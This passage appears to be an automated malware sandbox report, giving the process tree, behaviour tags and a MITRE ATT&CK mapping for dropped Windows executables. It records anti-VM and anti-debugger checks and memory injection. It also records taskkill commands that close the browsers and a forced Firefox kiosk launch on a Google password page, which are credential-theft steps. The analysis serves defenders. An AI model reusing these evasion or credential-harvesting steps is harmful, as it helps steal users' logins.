      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 1560
        6⤵
        Program crash
        
        PID:6448
- - C:\Users\Admin\AppData\Local\Temp\1011782001\GI59vO6.exe
    "C:\Users\Admin\AppData\Local\Temp\1011782001\GI59vO6.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4140
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4140 -s 1528
      4⤵
      Program crash
      PID:5184
- - C:\Users\Admin\AppData\Local\Temp\1012056001\BhD8htX.exe
    "C:\Users\Admin\AppData\Local\Temp\1012056001\BhD8htX.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3164
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 1532
      4⤵
      Program crash
      PID:5636
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 1520
      4⤵
      Program crash
      PID:740
- - C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe
    "C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Users\Admin\AppData\Local\Temp\is-UK2UA.tmp\i1A5m12.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-UK2UA.tmp\i1A5m12.tmp" /SL5="$A02C0,3291517,54272,C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:548
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause raf_encoder_1252
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1448
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 pause raf_encoder_1252
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5116
    - - C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder.exe
        
        "C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder.exe" -i
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2008
- - C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe
    "C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3180
- - C:\Users\Admin\AppData\Local\Temp\1012549001\919e5e3042.exe
    "C:\Users\Admin\AppData\Local\Temp\1012549001\919e5e3042.exe"
    3⤵
    PID:1900
- - C:\Users\Admin\AppData\Local\Temp\1012550001\ebfccdcd17.exe
    "C:\Users\Admin\AppData\Local\Temp\1012550001\ebfccdcd17.exe"
    3⤵
    PID:5916
- - C:\Users\Admin\AppData\Local\Temp\1012551001\248fbf7a31.exe
    "C:\Users\Admin\AppData\Local\Temp\1012551001\248fbf7a31.exe"
    3⤵
    PID:5928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      Kills process with taskkill
      PID:5824
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      Kills process with taskkill
      PID:3284
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      Kills process with taskkill
      PID:5176
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      Kills process with taskkill
      PID:7164
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      Kills process with taskkill
      PID:5484
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:2756
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:5856
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1944 -parentBuildID 20240401114208 -prefsHandle 1884 -prefMapHandle 1876 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0037e10-3cf3-4658-857d-0923f2d74dda} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" gpu
        6⤵
        
        PID:5492
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2424 -parentBuildID 20240401114208 -prefsHandle 2416 -prefMapHandle 2412 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a7f6c57d-4492-4d61-bc03-a0feefcec6bd} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" socket
        6⤵
        
        PID:2548
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3148 -childID 1 -isForBrowser -prefsHandle 3144 -prefMapHandle 3140 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8dd2e529-5a2d-4737-b58f-42410bb22032} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" tab
        6⤵
        
        PID:5588
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3928 -childID 2 -isForBrowser -prefsHandle 3924 -prefMapHandle 3916 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2d126d85-7782-406c-a0bb-4028f8fe444f} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" tab
        6⤵
        
        PID:5980
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4504 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4476 -prefMapHandle 4480 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f037d67-80a5-43bc-8c4c-a65e9ccdc28b} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" utility
        6⤵
        
        PID:5756
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3484 -childID 3 -isForBrowser -prefsHandle 4796 -prefMapHandle 3556 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {17d79861-b727-4aa5-8f03-66aeaf4908ba} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" tab
        6⤵
        
        PID:3156
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5524 -childID 4 -isForBrowser -prefsHandle 5444 -prefMapHandle 5448 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2be399f0-5bd5-4c02-a7fe-925ef157674d} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" tab
        6⤵
        
        PID:4488
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5656 -childID 5 -isForBrowser -prefsHandle 5636 -prefMapHandle 5640 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {08c0e9fd-7ac4-4ed0-b6ec-46396a167154} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" tab
        6⤵
        
        PID:3524
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1940 -parentBuildID 20240401114208 -prefsHandle 2164 -prefMapHandle 3408 -prefsLen 29278 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {00f07b5e-035c-4e25-8a10-b7c464d01135} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" gpu
        6⤵
        
        PID:7404
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3432 -childID 6 -isForBrowser -prefsHandle 3444 -prefMapHandle 5240 -prefsLen 29278 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b442e95f-42f2-4f2d-a851-dcbcf60a889e} 5856 "\\.\pipe\gecko-crash-server-pipe.5856" tab
        6⤵
        
        PID:2488
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      Kills process with taskkill
      PID:4468
- - C:\Users\Admin\AppData\Local\Temp\1012552001\459fbb5295.exe
    "C:\Users\Admin\AppData\Local\Temp\1012552001\459fbb5295.exe"
    3⤵
    PID:6536
- - C:\Users\Admin\AppData\Local\Temp\1012553001\f75c1dae93.exe
    "C:\Users\Admin\AppData\Local\Temp\1012553001\f75c1dae93.exe"
    3⤵
    PID:5804

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2844 -ip 2844
1⤵
PID:924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2844 -ip 2844
1⤵
PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2844 -ip 2844
1⤵
PID:3040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 2844 -ip 2844
1⤵
PID:3040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2844 -ip 2844
1⤵
PID:4716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4140 -ip 4140
1⤵
PID:3668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2632 -ip 2632
1⤵
PID:1760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3164 -ip 3164
1⤵
PID:6000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3164 -ip 3164
1⤵
PID:5860

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
PID:5728

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
PID:5980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5564 -ip 5564
1⤵
PID:2896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 1196 -ip 1196
1⤵
PID:2508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1196 -ip 1196
1⤵
PID:6756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1196 -ip 1196
1⤵
PID:6648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1196 -ip 1196
1⤵
PID:6628

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
PID:5248

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
PID:6652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion